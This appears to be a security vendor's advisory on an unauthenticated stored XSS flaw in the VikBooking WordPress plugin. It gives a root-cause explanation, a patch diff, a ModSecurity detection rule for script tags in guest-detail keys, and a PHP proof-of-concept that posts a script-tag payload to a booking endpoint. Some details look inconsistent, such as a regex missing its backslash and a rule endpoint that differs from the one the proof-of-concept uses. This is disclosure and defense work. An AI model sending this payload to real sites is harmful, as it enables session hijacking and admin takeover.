Atomic Edge analysis of CVE-2026-42762:
This vulnerability is an unauthenticated stored cross-site scripting (XSS) flaw in the VikBooking Hotel Booking Engine & PMS plugin for WordPress, affecting versions up to and including 1.8.9. The vulnerability resides in the guest details collection functionality, specifically within the controller.php file. An unauthenticated attacker can inject arbitrary JavaScript into pages that execute when an administrator or other user views the injected data. The CVSS score is 7.2 (High).
The root cause is insufficient sanitization of guest detail field keys during the booking process. In the site/controller.php file, lines 3269-3278 and 3304-3317, the code iterates over guest detail arrays ($pguests) and directly uses the array keys ($detkey) without sanitizing them. While the patch adds htmlspecialchars(strip_tags($detkey)) to these keys, the vulnerable version does not perform any sanitization. An attacker can supply malicious data as the key name when submitting booking details from the front-end, allowing arbitrary HTML or JavaScript to be stored. The specific vulnerable code path is in the active controller’s methods that process guest booking data, particularly around the usage of $pguests and $guests_details arrays.
Exploitation requires sending a crafted POST request to the WordPress site’s booking endpoint. An attacker submits a booking form with custom guest detail keys containing XSS payloads, such as a key like `”alert(document.cookie)”`. The plugin stores this key without sanitization. When an administrator later views the booking check-in details (in admin/views/bookingcheckin/tmpl/default.php), the vulnerable key is output without escaping. The patch also adds htmlspecialchars() sanitization to the template file at line 692, but exploitation is still possible before the patch.
The patch modifies multiple files to fix the vulnerability. In site/controller.php, the patch adds htmlspecialchars(strip_tags($detkey)) to sanitize guest detail keys in two loops (lines 3272-3274 and 3312-3314). It also skips empty keys. In admin/views/bookingcheckin/tmpl/default.php, line 692 adds htmlspecialchars($extrak) to sanitize the output of pax field keys. The patch also introduces a non-final class (basic.php) and adds security checks for file deletion (mediator.php). Version numbers are incremented to 1.8.10.
Successful exploitation allows an attacker to inject persistent JavaScript into the WordPress admin area. Any administrator visiting the booking check-in page will execute the attacker’s script. This can lead to session hijacking, credential theft, or admin account takeover. The attacker can perform actions such as creating admin users or modifying plugin settings. Since the attack requires no authentication, it poses a serious risk to all sites running the vulnerable plugin version.
Below is a differential between the unpatched vulnerable code and the patched update, for reference.
--- a/vikbooking/admin/helpers/src/chat/mediator.php
+++ b/vikbooking/admin/helpers/src/chat/mediator.php
@@ -267,7 +267,19 @@
return false;
}
- return JFile::delete($attachment->getPath());
+ $filePath = $attachment->getPath();
+
+ /**
+ * Make sure the file is located under the registered attachments path
+ * to prevent arbitrary file deletion.
+ *
+ * @since 1.18.10 (J) - 1.8.10 (WP)
+ */
+ if (strpos($filePath, $this->attachmentsPath) !== 0) {
+ return false;
+ }
+
+ return JFile::delete($filePath);
}
/**
--- a/vikbooking/admin/helpers/src/checkin/paxfields/basic.php
+++ b/vikbooking/admin/helpers/src/checkin/paxfields/basic.php
@@ -15,8 +15,9 @@
* Helper class to support the default pax fields data collection.
*
* @since 1.15.0 (J) - 1.5.0 (WP)
+ * @since 1.18.10 (J) - 1.8.10 (WP) class is no longer final to allow inheritance.
*/
-final class VBOCheckinPaxfieldsBasic extends VBOCheckinAdapter
+class VBOCheckinPaxfieldsBasic extends VBOCheckinAdapter
{
/**
* The ID of this pax data collector class.
--- a/vikbooking/admin/helpers/src/model/quote.php
+++ b/vikbooking/admin/helpers/src/model/quote.php
@@ -58,6 +58,9 @@
if (!empty($data['valid_until'])) {
// convert the provided date-time string into UTC
$data['valid_until'] = JFactory::getDate($data['valid_until'], JFactory::getApplication()->get('offset'))->toSql();
+ } else {
+ // force the value to be null
+ $data['valid_until'] = null;
}
if (!empty($data['country_3_code']) && strlen($data['country_3_code']) !== 3) {
--- a/vikbooking/admin/helpers/src/notification/elements.php
+++ b/vikbooking/admin/helpers/src/notification/elements.php
@@ -125,7 +125,7 @@
public function getTitle()
{
// access the notification title
- $title = (string) $this->get('title', '');
+ $title = strip_tags((string) $this->get('title', ''));
// try to guess the title
if (!$title) {
--- a/vikbooking/admin/views/bookingcheckin/tmpl/default.php
+++ b/vikbooking/admin/views/bookingcheckin/tmpl/default.php
@@ -689,6 +689,8 @@
// display any other information collected through the pre check-in
if (count($pax_data) && isset($pax_data[$ind]) && isset($pax_data[$ind][$g])) {
foreach ($pax_data[$ind][$g] as $extrak => $extrav) {
+ // sanitize pax field key
+ $extrak = htmlspecialchars($extrak);
if (isset($pax_fields[$extrak]) || (is_scalar($extrav) && !strlen($extrav))) {
// this is a default pax field, we skip it
continue;
--- a/vikbooking/defines.php
+++ b/vikbooking/defines.php
@@ -12,7 +12,7 @@
defined('ABSPATH') or die('No script kiddies please!');
// Software version
-define('VIKBOOKING_SOFTWARE_VERSION', '1.8.9');
+define('VIKBOOKING_SOFTWARE_VERSION', '1.8.10');
// Base path
define('VIKBOOKING_BASE', dirname(__FILE__));
--- a/vikbooking/site/controller.php
+++ b/vikbooking/site/controller.php
@@ -3269,6 +3269,11 @@
foreach ($pguests as $ind => $adults) {
foreach ($adults as $aduind => $details) {
foreach ($details as $detkey => $detval) {
+ // accept no raw HTML tags as keys
+ $detkey = htmlspecialchars(strip_tags($detkey));
+ if (!$detkey) {
+ continue;
+ }
if (!in_array($detkey, $front_keys)) {
// push the key of the guest details for later comparison
array_push($front_keys, $detkey);
@@ -3304,6 +3309,11 @@
$guests_details[$ind][$aduind] = $details;
}
foreach ($details as $detkey => $detval) {
+ // accept no raw HTML tags as keys
+ $detkey = htmlspecialchars(strip_tags($detkey));
+ if (!$detkey) {
+ continue;
+ }
if (!in_array($detkey, $front_keys)) {
// merge this key probably reserved to the back-end
$guests_details[$ind][$aduind][$detkey] = $detval;
--- a/vikbooking/vikbooking.php
+++ b/vikbooking/vikbooking.php
@@ -3,7 +3,7 @@
Plugin Name: VikBooking
Plugin URI: https://vikwp.com/plugin/vikbooking
Description: Certified Booking Engine for Hotels and Accommodations.
-Version: 1.8.9
+Version: 1.8.10
Author: E4J s.r.l.
Author URI: https://vikwp.com
License: GPL2
Here you will find our ModSecurity compatible rule to protect against this particular CVE.
SecRule REQUEST_URI "@streq /wp-admin/admin-ajax.php" "id:20261994,phase:2,deny,status:403,chain,msg:'CVE-2026-42762 XSS via guest detail keys',severity:'CRITICAL',tag:'CVE-2026-42762'"
SecRule ARGS_POST:action "@streq vikbooking_confirmbooking" "chain"
SecRule ARGS_POST|ARGS_NAMES "@rx <script[ >]" "t:urlDecodeUni,t:lowercase,chain"
SecRule MATCHED_VARS_NAMES "@rx ^pguests[d+][d+][.*<script" "t:urlDecodeUni,t:lowercase"
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-42762 - VikBooking Hotel Booking Engine & PMS <= 1.8.9 - Unauthenticated Stored Cross-Site Scripting
/*
* This proof of concept demonstrates storing a JavaScript payload via guest detail keys.
* The payload will execute when an admin views the booking check-in page.
* Replace $target_url with the base URL of the WordPress site.
*/
$target_url = 'http://example.com'; // Change this to the target WordPress URL
// Craft the XSS payload as the key name
$xss_key = '<script>alert(1)</script>';
// Build the POST data mimicking a standard booking request with malicious guest detail key
$post_data = array(
'option' => 'com_vikbooking',
'task' => 'confirmbooking',
'pguests' => array(
0 => array(
0 => array(
$xss_key => 'value'
)
)
),
'first_name' => 'Test',
'last_name' => 'User',
'email' => 'test@example.com',
'phone' => '1234567890'
);
// Initialize cURL
$ch = curl_init($target_url . '/index.php');
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($post_data));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_HTTPHEADER, array('Content-Type: application/x-www-form-urlencoded'));
$response = curl_exec($ch);
curl_close($ch);
if ($response === false) {
echo 'cURL error: ' . curl_error($ch) . "n";
} else {
echo 'Payload sent successfully. The XSS will trigger when an admin views the booking check-in page.' . "n";
echo 'Target URL: ' . $target_url . "n";
echo 'Payload key: ' . $xss_key . "n";
}